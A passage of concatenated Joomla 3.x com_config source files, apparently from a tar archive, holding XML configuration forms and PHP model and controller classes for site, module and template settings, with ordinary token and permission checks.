			description="COM_CONFIG_FIELD_SEF_URL_DESC"
			default="1"
			class="btn-group"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="sitename_pagetitles"
			type="list"
			label="COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL"
			description="COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC"
			default="0"
			filter="integer"
			>
			<option value="2">COM_CONFIG_FIELD_VALUE_AFTER</option>
			<option value="1">COM_CONFIG_FIELD_VALUE_BEFORE</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>	

	<fieldset
		name="site"
		label="CONFIG_SITE_SETTINGS_LABEL">

		<field
			name="sitename"
			type="text"
			label="COM_CONFIG_FIELD_SITE_NAME_LABEL"
			description="COM_CONFIG_FIELD_SITE_NAME_DESC"
			required="true"
			filter="string"
			size="50" 
		/>

		<field
			name="offline"
			type="radio"
			label="COM_CONFIG_FIELD_SITE_OFFLINE_LABEL"
			description="COM_CONFIG_FIELD_SITE_OFFLINE_DESC"
			default="0"
			class="btn-group"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC"
			default="1"
			filter="integer" 
		/>

		<field
			name="list_limit"
			type="list"
			label="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC"
			default="20"
			filter="integer"
			>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="15">J15</option>
			<option value="20">J20</option>
			<option value="25">J25</option>
			<option value="30">J30</option>
			<option value="50">J50</option>
			<option value="100">J100</option>
		</field>
		
	</fieldset>

	<fieldset>
		<field
			name="asset_id"
			type="hidden" 
		/>
	</fieldset>
</form>
com_config/model/form/modules_advanced.xml000060400000002050152453734460014737 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset
			name="advanced">

			<field
				name="module_tag"
				type="moduletag"
				label="COM_MODULES_FIELD_MODULE_TAG_LABEL"
				description="COM_MODULES_FIELD_MODULE_TAG_DESC"
				default="div"
				validate="options"
			/>

			<field
				name="bootstrap_size"
				type="integer"
				label="COM_MODULES_FIELD_BOOTSTRAP_SIZE_LABEL"
				description="COM_MODULES_FIELD_BOOTSTRAP_SIZE_DESC"
				first="0"
				last="12"
				step="1"
			/>

			<field
				name="header_tag"
				type="headertag"
				label="COM_MODULES_FIELD_HEADER_TAG_LABEL"
				description="COM_MODULES_FIELD_HEADER_TAG_DESC"
				default="h3"
				validate="options"
			/>

			<field
				name="header_class"
				type="text"
				label="COM_MODULES_FIELD_HEADER_CLASS_LABEL"
				description="COM_MODULES_FIELD_HEADER_CLASS_DESC"
			/>

			<field
				name="style"
				type="chromestyle"
				label="COM_MODULES_FIELD_MODULE_STYLE_LABEL"
				description="COM_MODULES_FIELD_MODULE_STYLE_DESC"
			/>
		</fieldset>
	</fields>
</form>
com_config/model/form/templates.xml000060400000001576152453734460013454 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			id="id"
			default="0"
			readonly="true"
			class="readonly"
		/>

		<field
			name="template"
			type="text"
			label="COM_TEMPLATES_FIELD_TEMPLATE_LABEL"
			description="COM_TEMPLATES_FIELD_TEMPLATE_DESC"
			class="readonly"
			size="30"
			readonly="true" 
		/>

		<field
			name="client_id"
			type="hidden"
			label="COM_TEMPLATES_FIELD_CLIENT_LABEL"
			description="COM_TEMPLATES_FIELD_CLIENT_DESC"
			class="readonly"
			default="0"
			readonly="true" 
		/>

		<field
			name="title"
			type="text"
			label="COM_TEMPLATES_FIELD_TITLE_LABEL"
			description="COM_TEMPLATES_FIELD_TITLE_DESC"
			class="inputbox"
			size="50"
			required="true" 
		/>

		<field name="assigned" type="hidden" />

	</fieldset>
</form>
com_config/model/config.php000060400000001631152453734460011737 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Model for the global configuration
 *
 * @since  3.2
 */
class ConfigModelConfig extends ConfigModelForm
{
	/**
	 * Method to get a form object.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed	A JForm object on success, false on failure
	 *
	 * @since	3.2
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_config.config', 'config', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}
}
com_config/model/modules.php000060400000015022152453734460012141 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Config Module model.
 *
 * @since  3.2
 */
class ConfigModelModules extends ConfigModelForm
{
	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('id');

		$state = $this->loadState();

		$state->set('module.id', $pk);

		$this->setState($state);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   3.2
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_config.modules', 'modules', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		$form->setFieldAttribute('position', 'client',  'site');

		return $form;
	}

	/**
	 * Method to preprocess the form
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   3.2
	 * @throws  Exception if there is an error loading the form.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		jimport('joomla.filesystem.path');

		$lang     = JFactory::getLanguage();

		$module = $this->getState()->get('module.name');
		$basePath = JPATH_BASE;

		$formFile = JPath::clean($basePath . '/modules/' . $module . '/' . $module . '.xml');

		// Load the core and/or local language file(s).
		$lang->load($module, $basePath, null, false, true)
			||	 $lang->load($module, $basePath . '/modules/' . $module, null, false, true);

		if (file_exists($formFile))
		{
			// Get the module form.
			if (!$form->loadFile($formFile, false, '//config'))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}

			// Attempt to load the xml file.
			if (!$xml = simplexml_load_file($formFile))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}
		}

		// Load the default advanced params
		JForm::addFormPath(JPATH_BASE . '/components/com_config/model/form');
		$form->loadFile('modules_advanced', false);

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to get list of module positions in current template
	 *
	 * @return  array
	 *
	 * @since   3.2
	 */
	public function getPositions()
	{
		$lang         = JFactory::getLanguage();
		$templateName = JFactory::getApplication()->getTemplate();

		// Load templateDetails.xml file
		$path = JPath::clean(JPATH_BASE . '/templates/' . $templateName . '/templateDetails.xml');
		$currentTemplatePositions = array();

		if (file_exists($path))
		{
			$xml = simplexml_load_file($path);

			if (isset($xml->positions[0]))
			{
				// Load language files
				$lang->load('tpl_' . $templateName . '.sys', JPATH_BASE, null, false, true)
				||	$lang->load('tpl_' . $templateName . '.sys', JPATH_BASE . '/templates/' . $templateName, null, false, true);

				foreach ($xml->positions[0] as $position)
				{
					$value = (string) $position;
					$text = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'TPL_' . strtoupper($templateName) . '_POSITION_' . strtoupper($value));

					// Construct list of positions
					$currentTemplatePositions[] = self::createOption($value, JText::_($text) . ' [' . $value . ']');
				}
			}
		}

		$templateGroups = array();

		// Add an empty value to be able to deselect a module position
		$option = self::createOption();
		$templateGroups[''] = self::createOptionGroup('', array($option));

		$templateGroups[$templateName] = self::createOptionGroup($templateName, $currentTemplatePositions);

		// Add custom position to options
		$customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION');

		$editPositions   = true;
		$customPositions = self::getActivePositions(0, $editPositions);
		$templateGroups[$customGroupText] = self::createOptionGroup($customGroupText, $customPositions);

		return $templateGroups;
	}

	/**
	 * Get a list of modules positions
	 *
	 * @param   integer  $clientId       Client ID
	 * @param   boolean  $editPositions  Allow to edit the positions
	 *
	 * @return  array  A list of positions
	 *
	 * @since   3.6.3
	 */
	public static function getActivePositions($clientId, $editPositions = false)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT position')
			->from($db->quoteName('#__modules'))
			->where($db->quoteName('client_id') . ' = ' . (int) $clientId)
			->order($db->quoteName('position'));

		$db->setQuery($query);

		try
		{
			$positions = $db->loadColumn();
			$positions = is_array($positions) ? $positions : array();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return;
		}

		// Build the list
		$options = array();

		foreach ($positions as $position)
		{
			if (!$position && !$editPositions)
			{
				$options[] = JHtml::_('select.option', 'none', ':: ' . JText::_('JNONE') . ' ::');
			}
			else
			{
				$options[] = JHtml::_('select.option', $position, $position);
			}
		}

		return $options;
	}

	/**
	 * Create and return a new Option
	 *
	 * @param   string  $value  The option value [optional]
	 * @param   string  $text   The option text [optional]
	 *
	 * @return  object  The option as an object (stdClass instance)
	 *
	 * @since   3.6.3
	 */
	private static function createOption($value = '', $text = '')
	{
		if (empty($text))
		{
			$text = $value;
		}

		$option = new stdClass;
		$option->value = $value;
		$option->text  = $text;

		return $option;
	}

	/**
	 * Create and return a new Option Group
	 *
	 * @param   string  $label    Value and label for group [optional]
	 * @param   array   $options  Array of options to insert into group [optional]
	 *
	 * @return  array  Return the new group as an array
	 *
	 * @since   3.6.3
	 */
	private static function createOptionGroup($label = '', $options = array())
	{
		$group = array();
		$group['value'] = $label;
		$group['text']  = $label;
		$group['items'] = $options;

		return $group;
	}
}
com_config/model/templates.php000060400000006112152453734460012467 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Template style model.
 *
 * @since  3.2
 */
class ConfigModelTemplates extends ConfigModelForm
{
	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  null
	 *
	 * @since   3.2
	 */
	protected function populateState()
	{
		$state = $this->loadState();

		// Load the parameters.
		$params = JComponentHelper::getParams('com_templates');
		$state->set('params', $params);

		$this->setState($state);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure
	 *
	 * @since   3.2
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_config.templates', 'templates', array('control' => 'jform', 'load_data' => $loadData));

		try
		{
			$form = new JForm('com_config.templates');
			$data = array();
			$this->preprocessForm($form, $data);

			// Load the data into the form
			$form->bind($data);
		}
		catch (Exception $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage());

			return false;
		}

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to preprocess the form
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  Plugin group to load
	 *
	 * @return  void
	 *
	 * @since   3.2
	 * @throws	Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		$lang = JFactory::getLanguage();

		$template = JFactory::getApplication()->getTemplate();

		jimport('joomla.filesystem.path');

		// Load the core and/or local language file(s).
		$lang->load('tpl_' . $template, JPATH_BASE, null, false, true)
		|| $lang->load('tpl_' . $template, JPATH_BASE . '/templates/' . $template, null, false, true);

		// Look for com_config.xml, which contains fields to display
		$formFile = JPath::clean(JPATH_BASE . '/templates/' . $template . '/com_config.xml');

		if (!file_exists($formFile))
		{
			// If com_config.xml not found, fall back to templateDetails.xml
			$formFile = JPath::clean(JPATH_BASE . '/templates/' . $template . '/templateDetails.xml');
		}

		// Get the template form.
		if (file_exists($formFile) && !$form->loadFile($formFile, false, '//config'))
		{
			throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
		}

		// Attempt to load the xml file.
		if (!$xml = simplexml_load_file($formFile))
		{
			throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
		}

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}
}
com_config/model/cms.php000060400000014060152453734460011254 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Prototype admin model.
 *
 * @since  3.2
 */
abstract class ConfigModelCms extends JModelDatabase
{
	/**
	 * The model (base) name
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $name;

	/**
	 * The URL option for the component.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $option = null;

	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $text_prefix = null;

	/**
	 * Indicates if the internal state has been set
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $__state_set = null;

	/**
	 * Constructor
	 *
	 * @param   array  $config  An array of configuration options (name, state, dbo, table_path, ignore_request).
	 *
	 * @since   3.2
	 * @throws  Exception
	 */
	public function __construct($config = array())
	{
		// Guess the option from the class name (Option)Model(View).
		if (empty($this->option))
		{
			$r = null;

			if (!preg_match('/(.*)Model/i', get_class($this), $r))
			{
				throw new Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500);
			}

			$this->option = 'com_' . strtolower($r[1]);
		}

		// Set the view name
		if (empty($this->name))
		{
			if (array_key_exists('name', $config))
			{
				$this->name = $config['name'];
			}
			else
			{
				$this->name = $this->getName();
			}
		}

		// Set the model state
		if (array_key_exists('state', $config))
		{
			$this->state = $config['state'];
		}
		else
		{
			$this->state = new Registry;
		}

		// Set the model dbo
		if (array_key_exists('dbo', $config))
		{
			$this->db = $config['dbo'];
		}

		// Register the paths for the form
		$paths = $this->registerTablePaths($config);

		// Set the internal state marker - used to ignore setting state from the request
		if (!empty($config['ignore_request']))
		{
			$this->__state_set = true;
		}

		// Set the clean cache event
		if (isset($config['event_clean_cache']))
		{
			$this->event_clean_cache = $config['event_clean_cache'];
		}
		elseif (empty($this->event_clean_cache))
		{
			$this->event_clean_cache = 'onContentCleanCache';
		}

		$state = new Registry($config);

		parent::__construct($state);
	}

	/**
	 * Method to get the model name
	 *
	 * The model name. By default parsed using the classname or it can be set
	 * by passing a $config['name'] in the class constructor
	 *
	 * @return  string  The name of the model
	 *
	 * @since   3.2
	 * @throws  Exception
	 */
	public function getName()
	{
		if (empty($this->name))
		{
			$r = null;

			if (!preg_match('/Model(.*)/i', get_class($this), $r))
			{
				throw new Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500);
			}

			$this->name = strtolower($r[1]);
		}

		return $this->name;
	}

	/**
	 * Method to get model state variables
	 *
	 * @return  object  The property where specified, the state object where omitted
	 *
	 * @since   3.2
	 */
	public function getState()
	{
		if (!$this->__state_set)
		{
			// Protected method to auto-populate the model state.
			$this->populateState();

			// Set the model state set flag to true.
			$this->__state_set = true;
		}

		return $this->state;
	}

	/**
	 * Method to register paths for tables
	 *
	 * @param   array  $config  Configuration array
	 *
	 * @return  object  The property where specified, the state object where omitted
	 *
	 * @since   3.2
	 */
	public function registerTablePaths($config = array())
	{
		// Set the default view search path
		if (array_key_exists('table_path', $config))
		{
			$this->addTablePath($config['table_path']);
		}
		elseif (defined('JPATH_COMPONENT_ADMINISTRATOR'))
		{
			// Register the paths for the form
			$paths = new SplPriorityQueue;
			$paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/table', 'normal');

			// For legacy purposes. Remove for 4.0
			$paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/tables', 'normal');
		}
	}

	/**
	 * Clean the cache
	 *
	 * @param   string   $group     The cache group
	 * @param   integer  $clientId  The ID of the client
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		$conf = JFactory::getConfig();
		$dispatcher = JEventDispatcher::getInstance();

		$options = array(
			'defaultgroup' => $group ?: (isset($this->option) ? $this->option : JFactory::getApplication()->input->get('option')),
			'cachebase' => $clientId ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache'));

		$cache = JCache::getInstance('callback', $options);
		$cache->clean();

		// Trigger the onContentCleanCache event.
		$dispatcher->trigger($this->event_clean_cache, $options);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * @return  void
	 *
	 * @note    Calling getState in this method will result in recursion.
	 * @since   3.2
	 */
	protected function populateState()
	{
		$this->loadState();
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   3.2
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->published != -2)
		{
			return false;
		}

		return JFactory::getUser()->authorise('core.delete', $this->option);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   3.2
	 */
	protected function canEditState($record)
	{
		return JFactory::getUser()->authorise('core.edit.state', $this->option);
	}
}
com_config/config.php000060400000001616152453734460010642 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

// Access checks are done internally because of different requirements for the two controllers.

// Tell the browser not to cache this page.
JFactory::getApplication()->setHeader('Expires', 'Mon, 26 Jul 1997 05:00:00 GMT', true);

// Load classes
JLoader::registerPrefix('Config', JPATH_COMPONENT);
JLoader::registerPrefix('Config', JPATH_ROOT . '/components/com_config');

// Application
$app = JFactory::getApplication();

$controllerHelper = new ConfigControllerHelper;
$controller = $controllerHelper->parseController($app);

$controller->prefix = 'Config';

// Perform the Request task
$controller->execute();
com_config/controller/templates/save.php000060400000004653152453734460014520 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Save Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerTemplatesSave extends JControllerBase
{
	/**
	 * Method to save global configuration.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken())
		{
			JFactory::getApplication()->redirect('index.php', JText::_('JINVALID_TOKEN'));
		}

		// Check if the user is authorized to do this.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR'));

			return;
		}

		// Set FTP credentials, if given.
		JClientHelper::setCredentialsFromRequest('ftp');

		$app = JFactory::getApplication();

		// Access backend com_templates
		JLoader::register('TemplatesControllerStyle', JPATH_ADMINISTRATOR . '/components/com_templates/controllers/style.php');
		JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php');
		JLoader::register('TemplatesTableStyle', JPATH_ADMINISTRATOR . '/components/com_templates/tables/style.php');
		$controllerClass = new TemplatesControllerStyle;

		// Get a document object
		$document = JFactory::getDocument();

		// Set backend required params
		$document->setType('json');
		$this->input->set('id', $app->getTemplate(true)->id);

		// Execute backend controller
		$return = $controllerClass->save();

		// Reset params back after requesting from service
		$document->setType('html');

		// Check the return value.
		if ($return === false)
		{
			// Save the data in the session.
			$app->setUserState('com_config.config.global.data', $data);

			// Save failed, go back to the screen and display a notice.
			$message = JText::sprintf('JERROR_SAVE_FAILED');

			$app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message, 'error');

			return false;
		}

		// Set the success message.
		$message = JText::_('COM_CONFIG_SAVE_SUCCESS');

		// Redirect back to com_config display
		$app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message);

		return true;
	}
}
com_config/controller/templates/display.php000060400000005102152453734460015215 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Display Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerTemplatesDisplay extends ConfigControllerDisplay
{
	/**
	 * Method to display global configuration.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Get the application
		$app = $this->getApplication();

		// Get the document object.
		$document     = JFactory::getDocument();

		$viewName     = $this->input->getWord('view', 'templates');
		$viewFormat   = $document->getType();
		$layoutName   = $this->input->getWord('layout', 'default');

		// Access backend com_config
		JLoader::register('TemplatesController', JPATH_ADMINISTRATOR . '/components/com_templates/controller.php');
		JLoader::register('TemplatesViewStyle', JPATH_ADMINISTRATOR . '/components/com_templates/views/style/view.json.php');
		JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php');

		$displayClass = new TemplatesController;

		// Set backend required params
		$document->setType('json');
		$this->input->set('id', $app->getTemplate(true)->id);

		// Execute backend controller
		$serviceData = json_decode($displayClass->display(), true);

		// Reset params back after requesting from service
		$document->setType('html');
		$this->input->set('view', $viewName);

		// Register the layout paths for the view
		$paths = new SplPriorityQueue;
		$paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal');

		$viewClass  = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat);
		$modelClass = 'ConfigModel' . ucfirst($viewName);

		if (class_exists($viewClass))
		{
			if ($viewName !== 'close')
			{
				$model = new $modelClass;

				// Access check.
				if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option')))
				{
					$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');

					return;
				}
			}

			$view = new $viewClass($model, $paths);

			$view->setLayout($layoutName);

			// Push document object into the view.
			$view->document = $document;

			// Load form and bind data
			$form = $model->getForm();

			if ($form)
			{
				$form->bind($serviceData);
			}

			// Set form and data to the view
			$view->form = &$form;

			// Render view.
			echo $view->render();
		}

		return true;
	}
}
com_config/controller/display.php000060400000005277152453734460013234 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base Display Controller
 *
 * @since  3.2
 */
class ConfigControllerDisplay extends JControllerBase
{
	/**
	 * Application object - Redeclared for proper typehinting
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Prefix for the view and model classes
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $prefix = 'Config';

	/**
	 * Execute the controller.
	 *
	 * @return  mixed  A rendered view or true
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Get the document object.
		$document = JFactory::getDocument();

		$componentFolder = $this->input->getWord('option', 'com_config');

		if ($this->app->isClient('administrator'))
		{
			$viewName = $this->input->getWord('view', 'application');
		}
		else
		{
			$viewName = $this->input->getWord('view', 'config');
		}

		$viewFormat = $document->getType();
		$layoutName = $this->input->getWord('layout', 'default');

		// Register the layout paths for the view
		$paths = new SplPriorityQueue;

		if ($this->app->isClient('administrator'))
		{
			$paths->insert(JPATH_ADMINISTRATOR . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1);
		}
		else
		{
			$paths->insert(JPATH_BASE . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1);
		}

		$viewClass  = $this->prefix . 'View' . ucfirst($viewName) . ucfirst($viewFormat);
		$modelClass = $this->prefix . 'Model' . ucfirst($viewName);

		if (class_exists($viewClass))
		{
			$model     = new $modelClass;
			$component = $model->getState()->get('component.option');

			// Make sure com_joomlaupdate and com_privacy can only be accessed by SuperUser
			if (in_array(strtolower($component), array('com_joomlaupdate', 'com_privacy'))
				&& !JFactory::getUser()->authorise('core.admin'))
			{
				$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');

				return;
			}

			// Access check.
			if (!JFactory::getUser()->authorise('core.admin', $component)
				&& !JFactory::getUser()->authorise('core.options', $component))
			{
				$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');

				return;
			}

			$view = new $viewClass($model, $paths);

			$view->setLayout($layoutName);

			// Push document object into the view.
			$view->document = $document;

			// Reply for service requests
			if ($viewFormat === 'json')
			{
				$this->app->allowCache(false);
				return $view->render();
			}

			// Render view.
			echo $view->render();
		}

		return true;
	}
}
com_config/controller/canceladmin.php000060400000002721152453734460014014 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cancel Controller for Admin
 *
 * @since  3.2
 */
class ConfigControllerCanceladmin extends ConfigControllerCancel
{
	/**
	 * The context for storing internal data, e.g. record.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $context;

	/**
	 * The URL option for the component.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $option;

	/**
	 * URL for redirection.
	 *
	 * @var    string
	 * @since  3.2
	 * @note   Replaces _redirect.
	 */
	protected $redirect;

	/**
	 * Method to handle admin cancel
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'));
			$this->app->redirect('index.php');
		}

		if (empty($this->context))
		{
			$this->context = $this->option . '.edit' . $this->context;
		}

		// Redirect.
		$this->app->setUserState($this->context . '.data', null);

		if (!empty($this->redirect))
		{
			// Don't redirect to an external URL.
			if (!JUri::isInternal($this->redirect))
			{
				$this->redirect = JUri::base();
			}

			$this->app->redirect($this->redirect);
		}
		else
		{
			parent::execute();
		}
	}
}
com_config/controller/modules/cancel.php000060400000003225152453734460014453 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cancel Controller for module editing
 *
 * @package     Joomla.Site
 * @subpackage  com_config
 * @since       3.2
 */
class ConfigControllerModulesCancel extends ConfigControllerCanceladmin
{
	/**
	 * Method to cancel module editing.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check if the user is authorized to do this.
		$user = JFactory::getUser();

		if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id')))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'));
			$this->app->redirect('index.php');
		}

		$this->context = 'com_config.config.global';

		// Get returnUri
		$returnUri = $this->input->post->get('return', null, 'base64');

		if (!empty($returnUri))
		{
			$this->redirect = base64_decode(urldecode($returnUri));
		}
		else
		{
			$this->redirect = JUri::base();
		}

		$id = $this->input->getInt('id');

		// Access backend com_module
		JLoader::register('ModulesControllerModule', JPATH_ADMINISTRATOR . '/components/com_modules/controllers/module.php');
		JLoader::register('ModulesViewModule', JPATH_ADMINISTRATOR . '/components/com_modules/views/module/view.json.php');
		JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php');

		$cancelClass = new ModulesControllerModule;

		$cancelClass->cancel($id);

		parent::execute();
	}
}
com_config/controller/modules/display.php000060400000006137152453734460014700 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Display Controller for module editing
 *
 * @package     Joomla.Site
 * @subpackage  com_config
 * @since       3.2
 */
class ConfigControllerModulesDisplay extends ConfigControllerDisplay
{
	/**
	 * Method to display module editing.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   3.2
	 */
	public function execute()
	{

		// Get the application
